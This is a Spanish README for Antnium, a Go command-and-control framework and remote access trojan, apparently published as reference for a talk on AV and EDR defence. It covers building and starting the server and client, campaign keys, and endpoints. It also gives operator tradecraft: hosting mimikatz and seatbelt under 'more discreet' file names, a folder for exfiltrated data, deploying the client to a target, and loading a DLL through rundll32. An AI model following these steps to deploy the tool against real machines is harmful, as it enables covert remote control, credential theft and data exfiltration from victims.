
Un framework C2 para acceso inicial en Go
Anti Tanium
Un framework de C2 y un RAT escritos en Go.
Este código fuente se publica públicamente como referencia para mi presentación Develop your own RAT - AV & EDR Defense. Antnium pretende cumplir mis propios requisitos, y no los de otros. Funciona para las campañas que he realizado, pero no está necesariamente pensado para ser un framework C2 genérico.
Hay dos componentes:
Descarga e instala go (y git).
Aquí usamos 127.0.0.1:8080 como dominio C2 (localhost, ya que iniciamos tanto client.exe como server.exe
en el mismo host). Este es también el valor predeterminado, no es necesario cambiar nada.
Revisa la campaña en campaign/campaign.go:
serverUrl = "http://127.0.0.1:8080"Compílalo en Windows:
> .\makewin.bat deploy
Compílalo en Linux:
$ make deploy
Inicia el servidor y el cliente:
cd build\
.\server.exe
.\static\client.exe
Accede a la WebUI abriendo la siguiente URL en el navegador después de iniciar server.exe:
http://localhost:8080/webui/
static/: Directorio público para herramientasColoca allí los archivos que quieras descargar en otras máquinas. Como client.exe, wingman.exe.
Y tus herramientas, como mimikatz.exe o seatbelt.exe. Pero usa nombres de archivo más discretos.
Los archivos también están disponibles a través de la API /secure, solicitados con nombres de archivo cifrados, y con el archivo cifrado y codificado en base64 como respuesta.
Los archivos dotNet se pueden ejecutar usando la opción de ejecución remote (a la que se accede mediante /secure).
upload/: Directorio privado para la exfiltración de datosLas subidas de archivos desde el cliente se almacenarán allí.
Instalación de Go:
apt install golang gcc-mingw-w64Compila client.exe y server.exe:
> .\makewin.bat deploy
Esto creará:
Inicia server.exe:
> cd build
> .\server.exe
Antnium 0.1
Loaded 0 packets from db.packets.json
Loaded 0 clients from db.clients.json
Periodic DB dump enabled
Starting webserver on 127.0.0.1:8080
Inicia client.exe:
> .\build\static\client.exe
Antnium 0.1
time="2021-09-02T21:48:16+02:00" level=info msg="UpstreamHttp: Use WS"
time="2021-09-02T21:48:16+02:00" level=info msg="Connecting to WS succeeded"
time="2021-09-02T21:48:16+02:00" level=info msg=Send 1_computerId=c4oil02sdke2sp3nfngg 2_packetId=0 3_downstreamId=client 4_packetType=ping 5_arguments="map[]" 6_response=...
time="2021-09-02T21:48:16+02:00" level=info msg=Send 1_computerId=c4oil02sdke2sp3nfngg 2_packetId=0 3_downstreamId=client 4_packetType=ping 5_arguments="map[]" 6_response=...
Compilar el cliente de Windows desde Linux funciona, pero requiere
algo de maña manual con la línea de comandos de GO gcc, debido a algunas
dependencias de Windows. Si no funciona de inmediato, compila
el cliente de Windows en la propia máquina Windows (makewin.bat client).
pkg/campaign/campaign.go conecta un client.exe compilado con un server.exe específico, lo que forma una campaña.
Una campaña tiene claves de cifrado y autenticación individuales, que se comparten entre el servidor y el cliente.
type Campaign struct {
ApiKey string // Key used to access client facing REST
EncKey []byte // Key used to encrypt packets between server/client
ServerUrl string // URL of the server, as viewed from the clients
}
Y la UI de administración / clave de operador en pkt/server/config.go:
type Config struct {
AdminApiKey string
}
Ten en cuenta que ServerUrl es la URL utilizada por el cliente para toda la interacción con el servidor.
Es la URL pública del servidor, por ejemplo http://totallynotmalware.ch. El server.exe real puede
estar detrás de un proxy inverso, e iniciarse con server.exe --listenaddr 127.0.0.1:8080 (de modo que ServerUrl no es necesariamente igual a listenaddr).
Cuando te conectes al servidor por primera vez, primero debes acceder y configurar la UI.
Los archivos de la UI de Angular son de acceso público. Supongamos que ServerUrl="http://localhost:8080" y listenaddr=0.0.0.0:8080. Puedes:
http://localhost:8080/webui en tu navegadorng serve desde el directorio antniumui, y luego abrir http://localhost:4200 en tu navegadorCuando te conectes a la UI en el navegador, primero debes configurar la IP del servidor y su contraseña:
Probado en:
Compila en Windows:
> .\makewin.bat client
Despliégalo en tu objetivo.
Probado en:
En Linux:
$ make server
$ mkdir -p static upload
$ ./server --listenaddr 0.0.0.0:8080
El resultado es server.exe. Asegúrate de ejecutarlo en el directorio donde tengas o esperes:
Iniciará un servidor REST en ese puerto, proporcionando:
/: REST para los clientes/ws: Websocket para los clientes/admin: REST para la interfaz de administración (añadir paquete, obtener clientes)/adminws: Websocket para la interfaz de administración (enviar paquetes)/webui: Archivos HTML para la interfaz de administración (código fuente y HTML de Angular, accede a REST y websocket)Coloca un proxy inverso delante (¡asegúrate de que soporte websockets!) o reenvía los puertos.
Para proxy manual, usa la URL HTTP completa:
client.exe -proxy http://proxy:8080
o mediante variables de entorno:
export PROXY http://localhost:8080
./client
Wingman es básicamente el Cliente, pero sin conexión directa al C2. Puede conectarse a un cliente existente en localhost:50000 (asegúrate de que esté iniciado, si Campaign.AutoStartDownstreams es false)
Se conecta al puerto localhost 50000:
wingman.exe
O usa rundll32.exe para cargar la dll (la versión de 64 bits de rundll32 en system32, no la versión de 32 bits en C:\Windows\SysWOW64\rundll32.exe):
C:\Windows\System32\rundll32.exe .\wingman.dll,Start
Aparecerá como downstream net#0.
go test ./...
Todavía puede haber condiciones de carrera. Si falla una vez, simplemente ejecútalo de nuevo.